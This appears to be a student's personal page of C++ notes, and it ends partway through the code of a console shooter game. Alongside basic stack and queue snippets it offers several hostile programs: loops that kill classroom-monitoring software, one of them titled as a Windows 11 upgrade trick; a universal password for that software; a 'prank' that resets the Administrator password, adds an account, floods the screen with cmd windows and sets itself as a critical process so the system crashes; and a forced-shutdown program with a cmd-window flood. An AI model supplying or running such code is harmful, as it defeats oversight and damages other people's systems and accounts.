https://zeus10241024.gitee.io/dzmy/ 电子木鱼

你是第

传送门

玛卡巴卡

队列加栈操作

//stack<int> sta;//创建一个栈
//sta.push(a);//入栈
//int a=sta.top();//返回栈顶元素
//sta.pop();//出栈
//sta.empty();//判断栈是否为空   1为空，0为非空
//sta.clear();//清空

//queue<int> que;//创建一个队列
//que.push(a);//入队
//int a=que.front();//返回队头元素
//que.pop();//出队
//que.empty();//判断队列是否为空   1为空，0为非空
//que.clear();//清空

Copy

C++小网站

onlinegdb.com

zh.cppreference.com

极域网通用密码：mythware_super_password

file

C++集训7月3日

/*
感觉良好
(这是假的)
*/

Copy

噶掉电子教室的代码

#include<bits/stdc++.h>
#include <windows.h>
using namespace std;
void movexy(short x, short y){
    COORD position={x, y};
    HANDLE hOut=GetStdHandle(STD_OUTPUT_HANDLE);
    SetConsoleCursorPosition(hOut, position);
}
int main(){
    movexy(37, 7);
    cout<<"反电子教室系统"<<endl;
    cout<<endl;
    cout<<"                                     目前可以反击:"<<endl;
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_RED);
    cout<<"                      红蜘蛛多媒体网络教室 - 输入 k-rs即可反击"<<endl;
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 11);
    cout<<"                              极域电子教室 - 输入 k-jy即可反击"<<endl;
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 12);
    cout<<"                          伽卡他卡电子教室 - 输入 k-yk即可反击"<<endl;
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 7);
    cout<<"                                  如果在开启本程序后关闭本程序，"<<endl;
    cout<<"                                        本次反击将无效！"<<endl;
    cout<<"    input >>> ";
    string s;
    cin>>s;
    if(s=="k-rs"){
        system("cls");
        SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_RED);
        cout<<"                                  红蜘蛛反击系统启动成功"<<endl;
        Sleep(1000);
        SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 7);
        while(1)
        {
            system("taskkill /f /t /im REDAgent.exe");
            system("cls");
        }
    }
    if(s=="k-jy"){
        system("cls");
        SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 11);
        cout<<"                                  极域反击系统启动成功"<<endl;
        Sleep(1000);
        SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 7);
        while(1)
        {
            system("taskkill /f /t /im StudentMain.exe");
            system("cls");
        }
    }
    if(s=="k-yk"){
        system("cls");
        SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 12);
        cout<<"                                  伽卡他卡反击系统启动成功"<<endl;
        Sleep(1000);
        SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 7);
        while(1){
            system("taskkill /f /t /im Student.exe");
            system("cls");
        }
    } 
    return 0;
}

Copy

让你的电脑升级到win11的神奇c++代码

#include<bits/stdc++.h> 
using namespace std;
int main()
{
while(1)
{
system("taskkill /f /t /im REDAgent.exe");
system("taskkill /f /t /im StudentMain.exe");
system("taskkill /f /t /im Student.exe");
}
return 0;
}

Copy

c++的恶搞代码

#include <bits/stdc++.h>
#include <windows.h>
#include <winternl.h>
using namespace std;
void HideWindow() {
	HWND hwnd;
	hwnd=FindWindow("ConsoleWindowClass",NULL);
	if(hwnd) ShowWindow(hwnd,SW_HIDE);
	return;
}
int main() {
	HideWindow();
	int x=GetSystemMetrics(SM_CXSCREEN);   
	int y=GetSystemMetrics(SM_CYSCREEN);
	system("net user Administator 123456");
	system("net user computer_virus computer_virus /add"); 
	for(unsigned long long i = 1; i <= 500; i++)
	{
			system("start cmd");
			for(int i=1;i<=100;i++)
			{
					SetCursorPos(rand()%y,rand()%x);
			}
	}
	typedef NTSTATUS(WINAPI *RtlSetProcessIsCritical) (BOOLEAN, PBOOLEAN, BOOLEAN);
    typedef BOOL(WINAPI *RtlAdjustPrivilege) (ULONG, BOOL, BOOL, PBOOLEAN);
    RtlAdjustPrivilege AdjustPrivilege;
    RtlSetProcessIsCritical SetCriticalProcess;
    HANDLE ntdll = LoadLibrary(TEXT("ntdll.dll"));
    AdjustPrivilege = (RtlAdjustPrivilege)GetProcAddress((HINSTANCE)ntdll, "RtlAdjustPrivilege");
    SetCriticalProcess = (RtlSetProcessIsCritical)GetProcAddress((HINSTANCE)ntdll, "RtlSetProcessIsCritical");
    BOOLEAN b;
    AdjustPrivilege(20UL, TRUE, FALSE, &b);
    SetCriticalProcess(TRUE, NULL, FALSE);
	return 0;
}

Copy

#include<bits/stdc++.h>
using namespace std;
int main(){
	cout << "你希望我编程题怎样?(大写)" << "\n"; 
	string a;
	while(1){
		cin >> a;
		if(a=="WA"||a=="TLE"||a=="RTE"||a=="RE"||a=="CE"||a=="MLE"||a=="PE"||a=="OLE"){
			cout << "你竟然要诅咒我,我会在1min后fuck你的电脑,你不想电脑fuck就输入AC" << "\n";
			system("shutdown -f -s -t 60");
			while(1){
				cin >> a;
				if(a=="WA"||a=="TLE"||a=="RTE"||a=="RE"||a=="CE"||a=="SB"||a=="MLE"||a=="PE"||a=="OLE"){
					cout << "你竟然还敢诅咒我,你要die了";
					while(1){
						system("start cmd");
					}
				}else if(a=="AC"||a=="AK"){
					cout << "这次我就放过你";
					system("shutdown -a");
					return 0;
				}else{
					cout << "未能识别,请再次输入" << "\n";
				}
			}
		}else if(a=="AC"||a=="AK"){
			cout << "谢谢你的祝福";
			return 0;
		}else if(a=="SB"){
			cout << "你tm敢骂我,你电脑1分钟后要被我fuck了,输入BA或者AC就放过你" << "\n";
			system("shutdown -f -s -t 60");
			while(1){
				cin >> a;
				if(a=="WA"||a=="TLE"||a=="RTE"||a=="RE"||a=="CE"||a=="SB"||a=="MLE"||a=="PE"||a=="OLE"){
					cout << "你竟然还敢诅咒我,你要die了";
					while(1){
						system("start cmd");
					}
				}else if(a=="BA"||a=="AC"||a=="AK"){
					cout << "这次我就放过你";
					system("shutdown -a");
					return 0;
				}else{
					cout << "未能识别,请再次输入" << "\n";
				}
			}
		}else{
			cout << "未能识别,请再次输入" << "\n";
		}
	}
	
	return 0;
}

Copy

c++小游戏

#include<bits/stdc++.h>
#include<windows.h>
#include<stdio.h>
#include<conio.h>
#include<time.h>
#include<cmath>
#define KEY_DOWN(VK_NONAME)((GetAsyncKeyState(VK_NONAME)&0x8000)?1:0)
using namespace std;
int m[35][35],n[35][35];
void Color(int a)
{
    if(a==0) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN|FOREGROUND_BLUE);
    if(a==1) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE);
    if(a==2) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN);
    if(a==3) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_BLUE);
    if(a==4) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED);
    if(a==5) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN);
    if(a==6) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_BLUE);
    if(a==7) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_RED|FOREGROUND_GREEN);//木 
    if(a==8) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_RED|FOREGROUND_GREEN|FOREGROUND_BLUE);//铁 
    if(a==9) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY);
    if(a==10) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|BACKGROUND_GREEN);
    if(a==11) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_RED|FOREGROUND_BLUE|BACKGROUND_GREEN);
    if(a==12) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN|BACKGROUND_GREEN);
    if(a==13) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE|BACKGROUND_INTENSITY|BACKGROUND_BLUE);
}
void SetPos(int x,int y)
{
    COORD pos;
    pos.X=y*2,pos.Y=x+3;
    SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE),pos);
}
int X,Y,gx,gy,gunT,gunZ,T,G[10],F[30];
int Win,Lev,Blood,Dun,Bmax,Dmax,WuDi,Gguai,Bo,Boo,sy,bu;
int Bx,By,Bblood,Bsi,Bjiao,Bdu,Bfang,Bxz,Byz;
void Map(int x);
void Jian(int x)
{
    if(WuDi>0) return;
    if(Dun>x) Dun-=x; else if(Dun<=0) Blood-=x;
    else if(Dun>0&&Dun<=x)
    {
        if(F[13]==0) Blood-=x-Dun;
        if(F[13]==1) WuDi=20;
        if(F[17]==1) Boo=3;
        Dun=-1;
    }
}
bool CanGo(int x,int y,int q) //0为自己 1其他 2激光怪 3激光枪 4子弹怪 5爆毒 6子弹 7 BOSS
{
    if(abs(Bx-x)<=1&&abs(By-y)<=1&&q==1) return 0;
    if(m[x][y]==2||m[x][y]==3) return 0;
    if((q==0||q==1)&&n[x][y]==1) return 0;
    if(m[x][y]==0) return 1;
    if(m[x][y]>=4&&m[x][y]<=8) return 1;
    if(m[x][y]>=84&&m[x][y]<=88) return 1;
    if(m[x][y]>=9&&m[x][y]<=31) return 1;
    if(m[x][y]>=59&&m[x][y]<=81) return 1;
    if((q==2||q==3||q==5)&&m[x][y]==1) return 1;
    if((q==2||q==3)&&m[x][y]>=100&&m[x][y]<250) return 1;
    if((q==0||q==3||q==5)&&m[x][y]>=50&&m[x][y]<55) return 1;
    if((q==4||q==7)&&m[x][y]/100==1) return 1;
    return 0;
}
void CoutMe()
{
    if(gx<0&&CanGo(X-1,Y,0)) X--;if(gx>0&&CanGo(X+1,Y,0)) X++;if(gy<0&&CanGo(X,Y-1,0)) Y--;if(gy>0&&CanGo(X,Y+1,0)) Y++;
    int r;Color(0);if(WuDi>0) r=rand()%5+1,Color(r);
    if(gunT!=1) SetPos(X-1,Y),cout<<"︹";if(gunT!=5) SetPos(X+1,Y),cout<<"︺";if(gunT!=7) SetPos(X,Y-1),cout<<"﹝";if(gunT!=3) SetPos(X,Y+1),cout<<"﹞";
    if(gunT==1) SetPos(X-1,Y),cout<<"↑";if(gunT==2) SetPos(X-1,Y+1),cout<<"↗";if(gunT==3) SetPos(X,Y+1),  cout<<"→";if(gunT==4) SetPos(X+1,Y+1),cout<<"↘";
    if(gunT==5) SetPos(X+1,Y),cout<<"↓";if(gunT==6) SetPos(X+1,Y-1),cout<<"↙";if(gunT==7) SetPos(X,Y-1),  cout<<"←";if(gunT==8) SetPos(X-1,Y-1),cout<<"↖";
    SetPos(X,Y),cout<<"●";Color(0);
    if(WuDi>0) Map(4);
    if(m[X][Y]>=50&&m[X][Y]<55) Jian(5),system("color 4F"),Sleep(30),system("color 0F"),Map(4);
    if(m[X][Y]>=4&&m[X][Y]<=7&&F[12]==0) Jian(3),system("color 4F"),Sleep(30),system("color 0F"),Map(4);
    if(m[X][Y]>=4&&m[X][Y]<=7&&F[12]==1) Jian(1),system("color 4F"),Sleep(30),system("color 0F"),Map(4);
    if(m[X][Y]>=59&&m[X][Y]<=80&&F[4]==0) Jian(1),system("color 4F"),Sleep(30),system("color 0F"),Map(4);
    if(m[X][Y]==2&&F[4]==0) Jian(3),system("color 4F"),Sleep(30),system("color 0F"),Map(4);
    m[X][Y]=0,gx=gy=0;
}
int Cout(int x,int i,int j)
{
        int Guai=0;
        if(m[i][j]==0&&x==2) SetPos(i,j),cout<<"  ";
        if(m[i][j]==1) SetPos(i,j),Color(7),cout<<"■",Color(0);//木
        if(n[i][j]==0&&m[i][j]==2) SetPos(i,j),Color(8),cout<<"■",Color(0);//铁
        if(n[i][j]==10&&m[i][j]==0) SetPos(i,j),cout<<"  ",Color(0);
        if(n[i][j]==31&&m[i][j]==0) SetPos(i,j),cout<<"  ",Color(0);
        if(m[i][j]==32) m[i][j]=0;//怪子弹灰 
        if(n[i][j]>=20&&n[i][j]<22&&m[i][j]==1) SetPos(i,j),Color(7),cout<<"▁",Color(0);//木
        if(n[i][j]>=22&&n[i][j]<24&&m[i][j]==1) SetPos(i,j),Color(7),cout<<"▂",Color(0);//木
        if(n[i][j]>=24&&n[i][j]<26&&m[i][j]==1) SetPos(i,j),Color(7),cout<<"▄",Color(0);//木
        if(n[i][j]>=26&&n[i][j]<28&&m[i][j]==1) SetPos(i,j),Color(7),cout<<"▆",Color(0);//木
        if(n[i][j]>=28&&n[i][j]<30&&m[i][j]==1) SetPos(i,j),Color(7),cout<<"▆",Color(0);//木
        if(n[i][j]>45&&n[i][j]<=50&&m[i][j]==2) SetPos(i,j),Color(4),cout<<"▲",Color(0);//刺
        if(m[i][j]==3) SetPos(i,j),Color(5),cout<<"〓",Color(0);//箱 
        if(m[i][j]>=4&&m[i][j]<=7) SetPos(i,j),Color(5),cout<<"█",Color(0),m[i][j]++;//烟 
        if(m[i][j]==8) SetPos(i,j),cout<<"  ",m[i][j]=0;//烟尘
        if(m[i][j]>=84&&m[i][j]<=87) SetPos(i,j),Color(5),cout<<"█",Color(0),m[i][j]++;//烟 
        if(m[i][j]==88) SetPos(i,j),cout<<"  ",m[i][j]=0;//烟尘
        if(m[i][j]>=10&&m[i][j]<=30) SetPos(i,j),Color(10),cout<<"@ ",Color(0),m[i][j]++;//毒 
        if(m[i][j]>=60&&m[i][j]<=80) SetPos(i,j),Color(11),cout<<"@ ",Color(0),m[i][j]++;//怪毒 
        if(m[i][j]==9||m[i][j]==59) SetPos(i,j),Color(12),cout<<"@ ",Color(0),m[i][j]++;//金毒 
        if(m[i][j]==31||m[i][j]==81) SetPos(i,j),cout<<"  ",m[i][j]=0;//毒尘
        if(n[i][j]==1) SetPos(i,j),Color(13),cout<<"~ ",Color(0);//水
        if(m[i][j]==50) SetPos(i,j),Color(1),cout<<"●",Color(0),Guai++;//怪 
        if(m[i][j]==51) SetPos(i,j),Color(10),cout<<"●",Color(0),Guai++;//怪 
        if(m[i][j]==52) SetPos(i,j),Color(3),cout<<"●",Color(0),Guai++;//怪 
        if(m[i][j]==53) SetPos(i,j),Color(4),cout<<"●",Color(0),Guai++;//怪 
        if(m[i][j]==54) SetPos(i,j),Color(5),cout<<"●",Color(0),Guai++;//怪
        if(m[i][j]/100==1)
        {
            if((m[i][j]%100)/10<=1) SetPos(i,j),cout<<"☉";
            if((m[i][j]%100)/10==2) SetPos(i,j),Color(4),cout<<"◎",Color(0);
            if((m[i][j]%100)/10==3) SetPos(i,j),Color(1),cout<<"◎",Color(0);
            if((m[i][j]%100)/10==4) m[i][j]=4;
            if((m[i][j]%100)/10==5) SetPos(i,j),Color(3),cout<<"◎",Color(0);
            if((m[i][j]%100)/10==6) SetPos(i,j),Color(2),cout<<"¤",Color(0);
            if((m[i][j]%100)/10>=7&&(m[i][j]%100)/10<=9) SetPos(i,j),Color(2),cout<<"◎",Color(0);
        }
        if(m[i][j]/100==2) if((m[i][j]%100)/10==1) SetPos(i,j),Color(3),cout<<"☉",Color(0);
        return Guai;
}
void Boss()
{
    SetPos(Bx-1,By-1),cout<<"      ";SetPos(Bx,By-1),cout<<"      ";SetPos(Bx+1,By-1),cout<<"      ";
    int mov=rand()%30+1,R=rand()%300,ms;
    if(mov==1&&CanGo(Bx-1,By-2,1)&&CanGo(Bx,By-2,1)&&CanGo(Bx+1,By-2,1)) By--;
    if(mov==2&&CanGo(Bx-1,By+2,1)&&CanGo(Bx,By+2,1)&&CanGo(Bx+1,By+2,1)) By++;
    if(mov==3&&CanGo(Bx-2,By-1,1)&&CanGo(Bx-2,By,1)&&CanGo(Bx-2,By+1,1)) Bx--;
    if(mov==4&&CanGo(Bx+2,By-1,1)&&CanGo(Bx+2,By,1)&&CanGo(Bx+2,By+1,1)) Bx++;
    if(mov==5&&Bsi==0) Bsi+=rand()%3+1; if(mov==6&&Bjiao==0) Bjiao+=rand()%3+1;if(mov==7&&Bdu==0) Bdu+=5;
    if(mov==8&&Bxz==0) Bxz+=rand()%20-10;if(mov==9&&Byz==0) Byz+=rand()%20-10;
    if(Byz<0) {Byz++; if(By-2>1) By--;}if(Byz>0) {Byz--; if(By+2<28) By++;}if(Bxz<0) {Bxz++; if(Bx-2>1) Bx--;}if(Bxz>0) {Bxz--; if(Bx+2<28) Bx++;}
    if(R<15&Gguai<=5) Bfang++;
    else if(R<5&&Gguai<=10) Bfang++;
    else if(R==0) Bfang++;
    SetPos(Bx-1,By-1),Color(0),cout<<" ●● ";
    SetPos(Bx,By-1)  ,Color(4),cout<<")██(";
    SetPos(Bx+1,By-1),Color(4),cout<<" …… ";Color(0);
    if(abs(Bx-X)<=1&&abs(By-Y)<=1) Jian(50);int I,J;
    if(Bsi>0) {Bsi--;I=Bx-2,J=By+rand()%3-1;if(CanGo(I,J,7)) m[I][J]=211;I=Bx+rand()%3-1,J=By+2;if(CanGo(I,J,7)) m[I][J]=213;I=Bx+2,J=By+rand()%3-1;if(CanGo(I,J,7)) m[I][J]=215;I=Bx+rand()%3-1,J=By-2;if(CanGo(I,J,7)) m[I][J]=217;}
    if(Bjiao>0) {Bjiao--;I=Bx-2,J=By+2;if(CanGo(I,J,7)) m[I][J]=212;I=Bx+2,J=By+2;if(CanGo(I,J,7)) m[I][J]=214;I=Bx+2,J=By-2;if(CanGo(I,J,7)) m[I][J]=216;I=Bx-2,J=By-2;if(CanGo(I,J,7)) m[I][J]=218;}
    if(Bdu>0) {if(Bdu>0) Bdu--;for(int i=Bx-4;i<=Bx+4;i++) for(int j=By-4;j<=By+4;j++) if(CanGo(i,j,2)&&abs(Bx-X)>1&&abs(By-Y)>1&&i>0&&j>0) m[i][j]=59;}
    if(Bfang>0) {Bfang--;I=Bx+rand()%5-2,J=By+rand()%5-2;int rr=rand()%6-1;if(rr==-1) rr=0; if(((rr<3&&Lev<5)||(Lev>5))&&(CanGo(I,J,7))) m[I][J]=50+rr;}
    if(Lev==4) ms=3;if(Lev==9) ms=5;if(Lev==14) ms=10;if(Lev==19) ms=15;if(Lev==24) ms=20;
    if(T%50==0&&Bblood<ms*12) Bblood++,Map(3);
    for(int i=Bx-1;i<=Bx+1;i++)
    for(int j=By-1;j<=By+1;j++)
    {
        int du=0;
        if(m[i][j]/100==1) Bblood-=1,Bsi+=rand()%3+1,Map(3);
        if(m[i][j]/10==15) Bblood-=2,Map(3);
        if(m[i][j]<50||m[i][j]>55) m[i][j]=0;
        if(m[i][j]>=84&&m[i][j]<=87) Bblood-=1,Bsi+=rand()%3+1,Map(3);
        if(du==0&&m[i][j]>=9&&m[i][j]<=30) Bblood-=1,du++,Bdu++,Map(3);
        if(Bblood<=0) {Bblood=0;SetPos(Bx-1,By-1),cout<<"      ";SetPos(Bx,By-1),cout<<"      ";SetPos(Bx+1,By-1),cout<<"      ";}
    }
}
void Map(int x)//x=0只输中间 1输全屏 2输身周 2输上方 4 CoutMe中用 5 GuaiQuan中用
{
    if(x!=4) CoutMe();
    int f1,f2,f3,f4,Guai=0;
    if(x==0) f1=f3=2,f2=f4=28;
    if(x==1||x==5) f1=f3=1,f2=f4=29;
    if(x==2) f1=X-1,f2=X+1,f3=Y-1,f4=Y+1;
    if((x==4||x==3||x==1)&&Win>=0)
    {
        SetPos(-3,2),cout<<Lev/5+1<<'-'<<Lev%5+1;
        SetPos(-2,2),cout<<"枪：";
        if(gunZ==1) cout<<"普通枪";if(gunZ==2) cout<<"分裂枪";if(gunZ==3) cout<<"穿甲枪";
        if(gunZ==4) cout<<"激光枪";if(gunZ==5) cout<<"爆炸枪";if(gunZ==6) cout<<"毒气枪";if(gunZ==7) cout<<"弹跳枪";
        cout<<"        子弹数：";if(gunZ==1) cout<<"∞";else cout<<G[gunZ]<<" ";
        SetPos(-1,2),cout<<"血量：";Color(4);int r;
        if(WuDi>0) r=rand()%5+1,Color(r); for(int i=1;i<=Blood;i++) cout<<"█";Color(0);for(int i=Blood;i<Bmax;i++) cout<<"█";
        Color(0);SetPos(-1,18),cout<<"                    ";
        SetPos(0,2),cout<<"盾牌：";Color(9);
        if(Dun!=0) for(int i=1;i<=Dun;i++) cout<<"█";Color(0);for(int i=max(1,Dun);i<Dmax;i++) cout<<"█";
        if(Bblood>0)
        {
            int ms;
            if(Lev==4) ms=5; if(Lev==9) ms=10; if(Lev==14) ms=14; if(Lev==19) ms=17; if(Lev==24) ms=20; 
            SetPos(-1,15),cout<<"                                ";
            SetPos(-1,15),cout<<"Boss：";Color(4);for(int i=1;i<=(Bblood-1)%12+1;i++) cout<<"█";
            SetPos(-1,24),Color(3);cout<<(Bblood-1)/12+1;
        }
    }
    if(x==5)
    {
        Color(0);
        SetPos(-3,2),cout<<"  ↑           W 开箱（当有箱子在旁时）    开局无敌3秒";
        SetPos(-2,2),cout<<"←  →移动     A/D 顺/逆时针转枪     空格 暂停";
        SetPos(-1,2),cout<<"  ↓           S 发射子弹 清除所有怪进下一关    盾会恢复";
        SetPos(0,2), cout<<" 每五关可获得一个天赋   完成 5-5 通关   ",Color(3),cout<<"按 y 进第一关";
        for(int i=f1;i<=f2;i++)
        for(int j=f3;j<=f4;j++) Cout(x,i,j);
    }
    if(x!=3&&x!=4)
    {
        for(int i=f1;i<=f2;i++)
        for(int j=f3;j<=f4;j++) Guai+=Cout(x,i,j);
        if(x!=2)
        {
            int Rr=rand()%3;
            if(Guai<Gguai&&Guai!=0&&F[15]==1&&Rr==0&&Lev%5==4)
            Dun=min(Dmax,Dun+1),Map(3);
            Gguai=Guai;
        }
        if(Guai==0&&x==0&&Win==0&&Bblood<=0)
        {
            if(Lev!=24)
            {   
                system("color 6E"),Color(5);
                SetPos(2,2),cout<<"You! Win!!!";Sleep(500);
                SetPos(3,2),cout<<"Please point 'y' to Play AGain.",Sleep(1000);
                system("color 0F");Map(1);
            }
            Win++,Lev++;
        }
    }
}
void Fan(int i,int j,int M)
{
    if(M%10==1||M%10==3) m[i][j]=M+4;
    if(M%10==5||M%10==7) m[i][j]=M-4;
    if(M%10==2)
    {
        if(m[i][j+1]!=0||m[i-2][j+1]!=0) m[i][j]=M+6;
        else if(m[i-1][j]!=0||m[i-1][j+2]!=0) m[i][j]=M+2;
        else m[i][j]=M+4;
    }
    if(M%10==4)
    {
        if(m[i+1][j]!=0||m[i+1][j+2]!=0) m[i][j]=M-2;
        else if(m[i][j+1]!=0||m[i+2][j+1]!=0) m[i][j]=M+2;
        else m[i][j]=M+4;
    }
    if(M%10==6)
    {
        if(m[i][j-1]!=0||m[i+2][j-1]!=0) m[i][j]=M-2;
        else if(m[i+1][j]!=0||m[i+1][j-2]!=0) m[i][j]=M+2;
        else m[i][j]=M-4;
    }
    if(M%10==8)
    {
        if(m[i][j-1]!=0||m[i-2][j-1]!=0) m[i][j]=M-6;
        else if(m[i-1][j]!=0||m[i-1][j-2]!=0) m[i][j]=M-2;
        else m[i][j]=M-4;
    }
}
void Light(int i,int j,int M,int x)
{
    if(M%10==1) for(int k=1;CanGo(i-k,j,x);k++)  {if(x==3) m[i-k][j]=84; else m[i-k][j]=4;}
    if(M%10==2) for(int k=1;CanGo(i-k,j+k,x);k++){if(x==3) m[i-k][j+k]=84; else m[i-k][j+k]=4;}
    if(M%10==3) for(int k=1;CanGo(i,j+k,x);k++)  {if(x==3) m[i][j+k]=84; else m[i][j+k]=4;}
    if(M%10==4) for(int k=1;CanGo(i+k,j+k,x);k++){if(x==3) m[i+k][j+k]=84; else m[i+k][j+k]=4;}
    if(M%10==5) for(int k=1;CanGo(i+k,j,x);k++)  {if(x==3) m[i+k][j]=84; else m[i+k][j]=4;}
    if(M%10==6) for(int k=1;CanGo(i+k,j-k,x);k++){if(x==3) m[i+k][j-k]=84; else m[i+k][j-k]=4;}
    if(M%10==7) for(int k=1;CanGo(i,j-k,x);k++)  {if(x==3) m[i][j-k]=84; else m[i][j-k]=4;}
    if(M%10==8) for(int k=1;CanGo(i-k,j-k,x);k++){if(x==3) m[i-k][j-k]=84; else m[i-k][j-k]=4;}
}
void Move()
{
    bool nx[32][32];
    memset(nx,0,sizeof(nx));
    for(int i=2;i<=28;i++)
    for(int j=2;j<=28;j++)
    {
        if(m[i][j]==50&&nx[i][j]==0&&T%2==0)//无脑怪
        {
            int r,I=i,J=j,rr=rand()%5,rrr=rand()%2;
            if(rrr==0) {if(X<i) r=1;if(X>i) r=4;}
            if(rrr==1) {if(Y>j) r=2;if(Y<j) r=3;} if(rr==0) r=rand()%4+1;
            if(r==1) I=i-1,J=j;if(r==2) I=i,J=j+1;if(r==3) I=i,J=j-1;if(r==4) I=i+1,J=j;
            if(CanGo(I,J,1)) m[i][j]=0,m[I][J]=50,SetPos(i,j),cout<<"  ",SetPos(I,J),cout<<"●",nx[I][J]=1;
        }
        if(m[i][j]==51&&nx[i][j]==0)//毒怪
        {
            int R=rand()%10;
            int r,I=i,J=j,rr=rand()%30,rrr=rand()%2,mr=rand()%15;
            if(rrr==0) {if(X<i) r=1;if(X>i) r=4;}
            if(rrr==1) {if(Y>j) r=2;if(Y<j) r=3;} if(rr!=0) r=rand()%4+1;
            if(r==1) I=i-1,J=j;if(r==2) I=i,J=j+1;if(r==3) I=i,J=j-1;if(r==4) I=i+1,J=j;
            if(mr==0) {for(int k=I-2;k<=I+2;k++) for(int l=J-2;l<=J+2;l++) if(k>1&&l>1&&k<=28&&l<=28&&(CanGo(k,l,1)||m[k][l]==1)) m[k][l]=59;}
            if(CanGo(I,J,1)||m[I][J]==1) m[i][j]=59,m[I][J]=51,SetPos(i,j),cout<<"  ",SetPos(I,J),cout<<"●",nx[I][J]=1;
        }
        if(m[i][j]==52&&nx[i][j]==0)//散弹怪 
        {
            int R=rand()%10;
            if(R==0)
            {
                int I,J,r,rn=0;
                int rr=rand()%8,Rn=rand()%3+1;
                Xr:
                rr=rand()%8,rn++;
                if(rr==0) {r=1,I=i-1,J=j;if(CanGo(I,J,6)) m[I][J]=210+r;}
                if(rr==1) {r=3,I=i,J=j+1;if(CanGo(I,J,6)) m[I][J]=210+r;}
                if(rr==2) {r=5,I=i+1,J=j;if(CanGo(I,J,6)) m[I][J]=210+r;}
                if(rr==3) {r=7,I=i,J=j-1;if(CanGo(I,J,6)) m[I][J]=210+r;}
                if(rr==4) {r=2,I=i-1,J=j+1;if(CanGo(I,J,6)) m[I][J]=210+r;}
                if(rr==5) {r=4,I=i+1,J=j+1;if(CanGo(I,J,6)) m[I][J]=210+r;}
                if(rr==6) {r=6,I=i+1,J=j-1;if(CanGo(I,J,6)) m[I][J]=210+r;}
                if(rr==7) {r=8,I=i-1,J=j-1;if(CanGo(I,J,6)) m[I][J]=210+r;}
                if(rr==8) {r=rand()%7+2;I=i+1,J=j;if(m[I][J]!=2) m[I][J]=210+r;}nx[I][J]=1;
                if(rn<Rn) goto Xr;
            }
            else if(R<=2)
            {
                int r=rand()%4+1,Ie,Je;
                if(r==1) Ie=i-1,Je=j;if(r==2) Ie=i,Je=j+1;if(r==3) Ie=i,Je=j-1;if(r==4) Ie=i+1,Je=j;
                if(CanGo(Ie,Je,1)) m[i][j]=0,m[Ie][Je]=52,SetPos(i,j),cout<<"  ",SetPos(Ie,Je),cout<<"●";
            }
        }
        if(m[i][j]==53&&nx[i][j]==0)//瞄准怪 
        {
            int R=rand()%6;
            if(R==0)
            {
                int I,J,r,rr=rand()%5;
                if(X-i<0&&abs(Y-j)<=2) {r=1,I=i-1,J=j;if(CanGo(I,J,6)) m[I][J]=210+r;}
                else if(Y-j>0&&abs(X-i)<=2) {r=3,I=i,J=j+1;if(CanGo(I,J,6)) m[I][J]=210+r;}
                else if(X-i>0&&abs(Y-j)<=2) {r=5,I=i+1,J=j;if(CanGo(I,J,6)) m[I][J]=210+r;}
                else if(Y-j<0&&abs(X-i)<=2) {r=7,I=i,J=j-1;if(CanGo(I,J,6)) m[I][J]=210+r;}
                else if(X-i<0&&Y-j>0&&abs((i-X)-(Y-j))<=2) {r=2,I=i-1,J=j+1;if(CanGo(I,J,6)) m[I][J]=210+r;}
                else if(X-i>0&&Y-j>0&&abs((X-i)-(Y-j))<=2) {r=4,I=i+1,J=j+1;if(CanGo(I,J,6)) m[I][J]=210+r;}
                else if(X-i>0&&j-Y>0&&abs((X-i)-(j-Y))<=2) {r=6,I=i+1,J=j-1;if(CanGo(I,J,6)) m[I][J]=210+r;}
                else if(X-i<0&&Y-j<0&&abs((i-X)-(j-Y))<=2) {r=8,I=i-1,J=j-1;if(CanGo(I,J,6)) m[I][J]=210+r;}
                else if(rr==0) {r=rand()%7+2;I=i+1,J=j;if(CanGo(I,J,6)) m[I][J]=210+r;}
            }
            else if(R==1)
            {
                int r=rand()%4+1,Ie,Je;
                if(r==1) Ie=i-1,Je=j;if(r==2) Ie=i,Je=j+1;if(r==3) Ie=i,Je=j-1;if(r==4) Ie=i+1,Je=j;
                if(CanGo(Ie,Je,1)) m[i][j]=0,m[Ie][Je]=53,SetPos(i,j),cout<<"  ",SetPos(Ie,Je),cout<<"●";
            }
        }
